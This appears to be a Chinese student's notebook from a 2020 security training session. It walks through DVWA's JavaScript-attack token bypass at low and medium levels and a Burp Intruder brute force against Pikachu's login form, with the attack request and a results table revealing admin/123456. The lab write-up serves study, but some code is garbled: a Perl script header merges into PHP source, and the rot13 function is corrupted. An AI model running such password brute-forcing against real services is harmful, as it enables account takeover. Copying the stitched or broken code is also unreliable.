

20200806信息安全实训

笔记本： 我的第一个笔记本

创建时间： 2020/8/6 19:32

更新时间： 2020/8/6 20:41

作者： 820410740@qq.com

DVWA-javascript attack低级别

token使用md5加密，在输入框中输入success后还需在控制台输入generate token()调用函数

The screenshot shows the DVWA (Damn Vulnerable Web Application) interface for the 'Vulnerability: JavaScript Attacks' section. The page includes a navigation menu on the left with links like Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, and XSS (DOM). The main content area displays the 'Vulnerability: JavaScript Attacks' title, a submission instruction 'Submit the word "success" to win.', a 'Well done!' message, a 'Phrase' input field containing 'ChangeMe', and a 'Submit' button. Below this is a 'More Information' section with three links: <https://www.w3schools.com/js/>, <https://www.youtube.com/watch?v=cs7EQdWO5o0&index=1>, and <https://ponyfoo.com/articles/es6-proxies-in-depth>. At the bottom, it states 'Module developed by [Digininja](#)'.

Below the screenshot, the source code for the 'low.php' file is displayed. The code is a PHP script that includes a JavaScript payload. The JavaScript code defines a 'generate_token()' function that retrieves the value of the 'phrase' input field, rotates it using a 'rot13' function, and then hashes the result using 'md5'. The code also includes a 'Well done!' message and a 'Submit' button. The code is as follows:

```
1 <?php
2 $page[ 'body' ] .= <<<EOF
3 <script>
4
5 /*
6  MD5 code from here
7  https://github.com/blueimp/JavaScript-MD5
8  */
9
10 !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return
11
12   function rot13(inp) {
13     return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode(((c-="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26));});
14   }
15
16   function generate_token() {
17     var phrase = document.getElementById("phrase").value;
18     document.getElementById("token").value = md5(rot13(phrase)); // md5加密
19   }
20
21   generate_token();
22 </script>
23 EOF;
24 ?>
25
```

中级别

```
medium.php x low.php
D: > phpstudy_pro > WWW > DVWA-master > vulnerabilities > javascript > source > medium.php
1 <?php
2 $page[ 'body' ] .= <<<EOF
3 <script src="/vulnerabilities/javascript/source/medium.js"></script>
4 EOF;
5 ?>
6
```

发现有关token处理的代码存放在mediu.js中

```
phpstudy_pro > WWW > DVWA-master > vulnerabilities > javascript > source > JS medium.js > ...
function do_something(e){for(var t="",n=e.length-1;n>=0;n--){t+=e[n];return t}setTimeout(function(){do_elsesomething("XX"),300};function do_elsesomething(e){document.getElementById("token").value=do_something(e+document
```

发现和低级差不多，调用函数改为了do_elsesomething("XX")记得是大写X



pikachu爆破模块

基于表单的暴力破解

```

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;

my $url = "http://www.pikachu.vulnweb.org/vul/burteforce/bf_form.php";
my $ua = LWP::UserAgent->new;

my $response = $ua->get($url);
my $content = $response->content;

my $php_code = $content;

# Created by runner.han
# There is nothing new under the sun
*/

$PIKA_ROOT_DIR = "../..";

include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';

$SELF_PAGE = substr($_SERVER['PHP_SELF'], strpos($_SERVER['PHP_SELF'], '/') + 1);
if ($SELF_PAGE == "bf_form.php") {
    $ACTIVE = array('','active open','','active','','','','','','','','','','','','','','','','','','','','');
}

include_once $PIKA_ROOT_DIR.'header.php';

$link = connect();
$html = "";

//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if (isset($_POST['submit']) && $_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);

    $line_pre->bind_param('ss', $username, $password);

    if ($line_pre->execute()) {
        $line_pre->store_result();
        if ($line_pre->num_rows > 0) {
            $html = "<p> login success</p>";
        } else {
            $html = "<p> username or password is not exists~</p>";
        }
    }
}

```

Configure the payload where payload will be injected into the http request. The attack type determines the details.

Attack type: Cluster bomb

```

POST /vul/burteforce/bf_form.php HTTP/1.1
Host: www.pikachu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://www.pikachu
Connection: close
Referer: http://www.pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=frmbnqmrpb4osb9rc350q3j7gr
Upgrade-Insecure-Requests: 1

username=$ada$&password=$dada$&submit=Login

```

Filter: Showing all items

Request	Payload1	Payload2	Status	Error	Timeout	Length	Comment
6	admin	123456	200	<input type="checkbox"/>	<input type="checkbox"/>	35050	
0			200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
1	admin	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
2	123456	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
3	111111	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
4	password	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
5	root	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
7	123456	123456	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
8	111111	123456	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
9	password	123456	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
10	root	123456	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
11	admin	111111	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	
12	123456	111111	200	<input type="checkbox"/>	<input type="checkbox"/>	35074	